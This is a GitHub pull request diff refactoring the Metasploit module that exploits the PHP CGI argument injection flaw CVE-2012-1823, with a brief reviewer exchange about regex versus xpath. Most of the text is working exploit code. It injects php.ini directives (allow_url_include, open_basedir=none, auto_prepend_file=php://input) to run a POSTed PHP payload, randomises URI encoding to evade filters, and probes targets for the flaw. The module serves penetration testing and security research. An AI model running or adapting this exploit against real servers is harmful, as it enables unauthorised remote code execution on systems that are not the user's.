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php_cgi_arg_injection: Fix check regex match to detect code html tag #17823

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Apr 5, 2023
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php_cgi_arg_injection: Fix check regex match to detect code html tag #17823

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8572053
php_cgi_arg_injection: Add notes and resolve Rubocop violations
bcoles Mar 27, 2023
abe5570
php_cgi_arg_injection: Fix check regex match to detect code html tag
bcoles Mar 27, 2023
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258 changes: 132 additions & 126 deletions modules/exploits/multi/http/php_cgi_arg_injection.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -9,88 +9,98 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the "encoded in
a system-defined manner" from the RFC) and then passes them to the CGI
binary." This module can also be used to exploit the plesk 0day disclosed
by kingcope and exploited in the wild on June 2013.
},
'Author' =>
[
'egypt', 'hdm', #original msf exploit
'jjarmoc', #added URI encoding obfuscation
'kingcope', #plesk poc
'juan vazquez' #add support for plesk exploitation
super(
update_info(
info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.

From the advisory: "if there is NO unescaped '=' in the query string,
the string is split on '+' (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the "encoded in
a system-defined manner" from the RFC) and then passes them to the CGI
binary." This module can also be used to exploit the plesk 0day disclosed
by kingcope and exploited in the wild on June 2013.
},
'Author' => [
'egypt', 'hdm', # original msf exploit
'jjarmoc', # added URI encoding obfuscation
'kingcope', # plesk poc
'juan vazquez' # add support for plesk exploitation
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-1823' ],
[ 'OSVDB', '81633'],
[ 'OSVDB', '93979'],
[ 'EDB', '25986'],
[ 'URL', 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
[ 'URL', 'http://kb.parallels.com/en/116241']
'License' => MSF_LICENSE,
'References' => [
['CVE', '2012-1823'],
['OSVDB', '81633'],
['OSVDB', '93979'],
['EDB', '25986'],
['URL', 'http://web.archive.org/web/20120503154724/http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/'],
['URL', 'http://kb.parallels.com/en/116241']
],
'Privileged' => false,
'Payload' =>
{
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'Space' => 262144 # 256k
},
'DisclosureDate' => '2012-05-03',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
'DisclosureDate' => '2012-05-03',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)

register_options([
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
OptBool.new('PLESK', [true, "Exploit Plesk", false]),
OptString.new('TARGETURI', [false, 'The URI to request (must be a CGI-handled PHP script)']),
OptInt.new('URIENCODING', [true, 'Level of URI URIENCODING and padding (0 for minimum)', 0]),
OptBool.new('PLESK', [true, 'Exploit Plesk', false]),
])
end

# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check

vprint_status("Checking uri #{uri}")

response = send_request_raw({ 'uri' => uri })

if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi and not datastore['PLESK']
vprint_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
return CheckCode::Unknown('Connection failed.') unless response

if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i && !datastore['PLESK']
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Would it make sense to use xpath with response.get_html_document.xpath(...) instead?

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For what reason? Would xpath detect code at the start of line?

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No specific reason, xpath is usually preferred when HTML parsing is required. It was just a suggestion, I'm fine with regex too.

return CheckCode::Unknown('Server responded in a way that was ambiguous. Could not determine whether it was vulnerable.')
end

response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
return Exploit::CheckCode::Vulnerable
response = send_request_raw({ 'uri' => "#{uri}?#{create_arg('-s')}" })

return CheckCode::Unknown('Connection failed.') unless response

if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i
return CheckCode::Vulnerable
end

if datastore['PLESK'] and response and response.code == 500
return Exploit::CheckCode::Appears
if datastore['PLESK'] && response.code == 500
return CheckCode::Appears('Server responded with HTTP 500 error')
end

vprint_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
CheckCode::Safe('Server responded indicating it was not vulnerable')
end

def uri
if datastore['PLESK']
normalize_uri("phppath", "php")
normalize_uri('phppath', 'php')
else
normalize_uri(target_uri.path).gsub(/\?.*/, "")
normalize_uri(target_uri.path).gsub(/\?.*/, '')
end
end

Expand All @@ -103,124 +113,120 @@ def uri_encoding_level
end

def exploit
begin
args = [
rand_spaces(),
create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
create_arg("-d","safe_mode=#{rand_php_ini_false}"),
create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
create_arg("-d",'disable_functions=""'),
create_arg("-d","open_basedir=none"),
create_arg("-d","auto_prepend_file=php://input"),
create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
create_arg("-d", "cgi.redirect_status_env=0"),
rand_opt_equiv("-n")
]

qs = args.join()

# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => "#{uri}?#{qs}",
'data' => payload_oneline,
}, 0.5)
handler

rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end

args = [
rand_spaces,
create_arg('-d', "allow_url_include=#{rand_php_ini_true}"),
create_arg('-d', "safe_mode=#{rand_php_ini_false}"),
create_arg('-d', "suhosin.simulation=#{rand_php_ini_true}"),
create_arg('-d', 'disable_functions=""'),
create_arg('-d', 'open_basedir=none'),
create_arg('-d', 'auto_prepend_file=php://input'),
create_arg('-d', "cgi.force_redirect=#{rand_php_ini_false}"),
create_arg('-d', 'cgi.redirect_status_env=0'),
rand_opt_equiv('-n')
]

qs = args.join

# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = '<?php ' + payload.encoded.gsub(/\s*#.*$/, '').gsub("\n", '')
send_request_cgi({
'method' => 'POST',
'global' => true,
'uri' => "#{uri}?#{qs}",
'data' => payload_oneline
}, 0.5)
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error('The target service is unreachable')
rescue ::OpenSSL::SSL::SSLError
print_error('The target failed to negotiate SSL, is this really an SSL service?')
end

def create_arg(arg, val = nil)
if val
val = rand_encode(val)
val.gsub!('=','%3d') # = must always be encoded
val.gsub!('"','%22') # " too
val.gsub!('=', '%3d') # = must always be encoded
val.gsub!('"', '%22') # " too
end

ret = ''
ret << "#{rand_spaces}"
ret << "#{rand_opt_equiv(arg)}"
ret << "#{rand_space}"
ret << "#{rand_spaces}"
ret << "#{val}"
ret << "#{rand_space}"
ret << rand_spaces
ret << rand_opt_equiv(arg)
ret << rand_space
ret << rand_spaces
ret << val.to_s
ret << rand_space
ret
end

def rand_opt_equiv(opt)
# Returns a random equivilant option from mapping at
# http://www.php.net/manual/en/features.commandline.options.php
opt_equivs = {
"-d" => [
"#{rand_dash}#{rand_encode("d")}",
"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
],
"-s" => [
"#{rand_dash}#{rand_encode("s")}",
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
],
"-T" => [
"#{rand_dash}#{rand_encode("T")}",
"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
],
"-n" => [
"#{rand_dash}#{rand_encode("n")}",
"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
]
}
'-d' => [
"#{rand_dash}#{rand_encode('d')}",
"#{rand_dash}#{rand_dash}#{rand_encode('define')}"
],
'-s' => [
"#{rand_dash}#{rand_encode('s')}",
"#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlight')}",
"#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlighting')}"
],
'-T' => [
"#{rand_dash}#{rand_encode('T')}",
"#{rand_dash}#{rand_dash}#{rand_encode('timing')}"
],
'-n' => [
"#{rand_dash}#{rand_encode('n')}",
"#{rand_dash}#{rand_dash}#{rand_encode('no-php-ini')}"
]
}

equivs = opt_equivs[opt]
equivs ? equivs[rand(opt_equivs[opt].length)] : opt

end

def rand_encode(string, max = string.length)
# Randomly URI encode characters from string, up to max times.
chars = [];
if max > uri_encoding_level then max = uri_encoding_level end
chars = []

if max > uri_encoding_level
max = uri_encoding_level
end

if string.length == 1
if rand(2) > 0
chars << 0
end
else
if max > 0
max.times { chars << rand(string.length)}
end
elsif max > 0
max.times { chars << rand(string.length) }
end
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")}

chars.uniq.sort.reverse.each { |index| string[index] = Rex::Text.uri_encode(string[index, 1], 'hex-noslashes') }
string
end

def rand_spaces(num = uri_encoding_level)
ret = ''
num.times {
num.times do
ret << rand_space
}
end
ret
end

def rand_space
uri_encoding_level > 0 ? ["%20","%09","+"][rand(3)] : "+"
uri_encoding_level > 0 ? ['%20', '%09', '+'][rand(3)] : '+'
end

def rand_dash
uri_encoding_level > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
uri_encoding_level > 0 ? ['-', '%2d', '%2D'][rand(3)] : '-'
end

def rand_php_ini_false
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
Rex::Text.to_rand_case([ '0', 'off', 'false' ][rand(3)])
end

def rand_php_ini_true
Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
Rex::Text.to_rand_case([ '1', 'on', 'true' ][rand(3)])
end
end